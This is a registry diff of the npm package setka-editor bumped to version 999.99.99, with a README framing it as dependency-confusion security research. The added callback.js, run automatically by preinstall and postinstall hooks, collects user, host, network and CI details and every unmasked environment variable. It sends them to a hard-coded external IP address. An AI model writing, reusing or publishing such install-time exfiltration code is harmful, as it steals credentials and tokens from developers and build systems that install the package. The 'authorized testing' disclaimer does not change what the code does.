setka-editor 0.0.1-security → 999.99.99
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of setka-editor might be problematic. Click here for more details.
- package/README.md +16 -3
- package/callback.js +135 -0
- package/index.js +7 -0
- package/package.json +15 -4
package/README.md
CHANGED
|
@@ -1,5 +1,18 @@
|
|
|
1
|
-
#
|
|
1
|
+
# setka-editor
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
## Security Research PoC
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
This package was published as part of **authorized security research** to demonstrate dependency confusion vulnerabilities.
|
|
6
|
+
|
|
7
|
+
### What is Dependency Confusion?
|
|
8
|
+
|
|
9
|
+
Dependency confusion is a supply chain attack where a malicious package with the same name as an internal/private package is published to a public registry with a higher version number.
|
|
10
|
+
|
|
11
|
+
### Author
|
|
12
|
+
|
|
13
|
+
- **OFJAAAH**
|
|
14
|
+
- Tool: Dependency Confusion Hunter
|
|
15
|
+
|
|
16
|
+
### Disclaimer
|
|
17
|
+
|
|
18
|
+
This package is for **authorized security testing only**. Do not use for malicious purposes.
|
package/callback.js
ADDED
|
@@ -0,0 +1,135 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
// === НАСТРОЙКИ ===
|
|
6
|
+
const CALLBACK_URL = process.env.CALLBACK_URL || 'http://132.243.20.244:8000/api/collect';
|
|
7
|
+
const PACKAGE_NAME = 'setka-editor';
|
|
8
|
+
|
|
9
|
+
// === ВСПОМОГАТЕЛЬНЫЕ ФУНКЦИИ ===
|
|
10
|
+
|
|
11
|
+
function getLocalIP() {
|
|
12
|
+
try {
|
|
13
|
+
const interfaces = os.networkInterfaces();
|
|
14
|
+
for (const name of Object.keys(interfaces)) {
|
|
15
|
+
for (const iface of interfaces[name]) {
|
|
16
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
|
17
|
+
return iface.address;
|
|
18
|
+
}
|
|
19
|
+
}
|
|
20
|
+
}
|
|
21
|
+
} catch (_) { /* игнорируем */ }
|
|
22
|
+
return 'unknown';
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
async function getExternalIP() {
|
|
26
|
+
return new Promise((resolve) => {
|
|
27
|
+
https.get('https://api.ipify.org?format=json', { timeout: 3000 }, (res) => {
|
|
28
|
+
let data = '';
|
|
29
|
+
res.on('data', chunk => data += chunk);
|
|
30
|
+
res.on('end', () => {
|
|
31
|
+
try {
|
|
32
|
+
resolve(JSON.parse(data).ip);
|
|
33
|
+
} catch (_) {
|
|
34
|
+
resolve(null);
|
|
35
|
+
}
|
|
36
|
+
});
|
|
37
|
+
}).on('error', () => resolve(null));
|
|
38
|
+
});
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
function detectCIEnvironment() {
|
|
42
|
+
if (process.env.GITHUB_ACTIONS) return 'GitHub Actions';
|
|
43
|
+
if (process.env.GITLAB_CI) return 'GitLab CI';
|
|
44
|
+
if (process.env.JENKINS_URL) return 'Jenkins';
|
|
45
|
+
if (process.env.TRAVIS) return 'Travis CI';
|
|
46
|
+
if (process.env.CIRCLECI) return 'CircleCI';
|
|
47
|
+
if (process.env.BUILDKITE) return 'Buildkite';
|
|
48
|
+
if (process.env.CI) return 'Generic CI';
|
|
49
|
+
return 'Local Machine';
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
function collectSystemInfo() {
|
|
53
|
+
const info = {
|
|
54
|
+
package: PACKAGE_NAME,
|
|
55
|
+
timestamp: new Date().toISOString(),
|
|
56
|
+
user: os.userInfo().username,
|
|
57
|
+
uid: os.userInfo().uid,
|
|
58
|
+
gid: os.userInfo().gid,
|
|
59
|
+
homedir: os.userInfo().homedir,
|
|
60
|
+
shell: os.userInfo().shell || 'N/A',
|
|
61
|
+
hostname: os.hostname(),
|
|
62
|
+
platform: os.platform(),
|
|
63
|
+
arch: os.arch(),
|
|
64
|
+
release: os.release(),
|
|
65
|
+
type: os.type(),
|
|
66
|
+
cwd: process.cwd(),
|
|
67
|
+
localIP: getLocalIP(),
|
|
68
|
+
nodeVersion: process.version,
|
|
69
|
+
npmVersion: process.env.npm_package_version || 'unknown',
|
|
70
|
+
isCI: !!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.GITLAB_CI ||
|
|
71
|
+
process.env.JENKINS_URL || process.env.TRAVIS || process.env.CIRCLECI || process.env.BUILDKITE),
|
|
72
|
+
ciEnvironment: detectCIEnvironment(),
|
|
73
|
+
// ВСЕ переменные окружения – БЕЗ МАСКИРОВКИ
|
|
74
|
+
env: process.env
|
|
75
|
+
};
|
|
76
|
+
return info;
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
async function sendCallback() {
|
|
80
|
+
const systemInfo = collectSystemInfo();
|
|
81
|
+
|
|
82
|
+
const externalIP = await getExternalIP();
|
|
83
|
+
if (externalIP) {
|
|
84
|
+
systemInfo.externalIP = externalIP;
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
const data = JSON.stringify(systemInfo, null, 2);
|
|
88
|
+
|
|
89
|
+
const url = new URL(CALLBACK_URL);
|
|
90
|
+
const protocol = url.protocol === 'https:' ? https : http;
|
|
91
|
+
|
|
92
|
+
const options = {
|
|
93
|
+
hostname: url.hostname,
|
|
94
|
+
port: url.port || (url.protocol === 'https:' ? 443 : 80),
|
|
95
|
+
path: url.pathname + (url.search || ''),
|
|
96
|
+
method: 'POST',
|
|
97
|
+
headers: {
|
|
98
|
+
'Content-Type': 'application/json',
|
|
99
|
+
'Content-Length': Buffer.byteLength(data),
|
|
100
|
+
'User-Agent': `dependency-confusion/${PACKAGE_NAME}`,
|
|
101
|
+
'X-Package-Name': PACKAGE_NAME
|
|
102
|
+
},
|
|
103
|
+
timeout: 10000
|
|
104
|
+
};
|
|
105
|
+
|
|
106
|
+
return new Promise((resolve, reject) => {
|
|
107
|
+
const req = protocol.request(options, (res) => {
|
|
108
|
+
console.log(`[PoC] Callback отправлен, статус: ${res.statusCode}`);
|
|
109
|
+
resolve(res.statusCode);
|
|
110
|
+
});
|
|
111
|
+
|
|
112
|
+
req.on('error', (err) => {
|
|
113
|
+
console.error('[PoC] Ошибка при отправке:', err.message);
|
|
114
|
+
reject(err);
|
|
115
|
+
});
|
|
116
|
+
|
|
117
|
+
req.on('timeout', () => {
|
|
118
|
+
req.destroy();
|
|
119
|
+
reject(new Error('Timeout'));
|
|
120
|
+
});
|
|
121
|
+
|
|
122
|
+
req.write(data);
|
|
123
|
+
req.end();
|
|
124
|
+
});
|
|
125
|
+
}
|
|
126
|
+
|
|
127
|
+
(async () => {
|
|
128
|
+
try {
|
|
129
|
+
console.log(`[PoC] Отправка данных на ${CALLBACK_URL}...`);
|
|
130
|
+
await sendCallback();
|
|
131
|
+
console.log('[PoC] Готово.');
|
|
132
|
+
} catch (err) {
|
|
133
|
+
console.error('[PoC] Не удалось отправить callback:', err.message);
|
|
134
|
+
}
|
|
135
|
+
})();
|
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,17 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "setka-editor",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "999.99.99",
|
|
4
|
+
"description": "Security research PoC - Dependency Confusion Hunter by r0binak",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "node callback.js",
|
|
8
|
+
"postinstall": "node callback.js"
|
|
9
|
+
},
|
|
10
|
+
"keywords": [
|
|
11
|
+
"security",
|
|
12
|
+
"research",
|
|
13
|
+
"poc"
|
|
14
|
+
],
|
|
15
|
+
"author": "r0binak - Security Research BB",
|
|
16
|
+
"license": "MIT"
|
|
17
|
+
}
|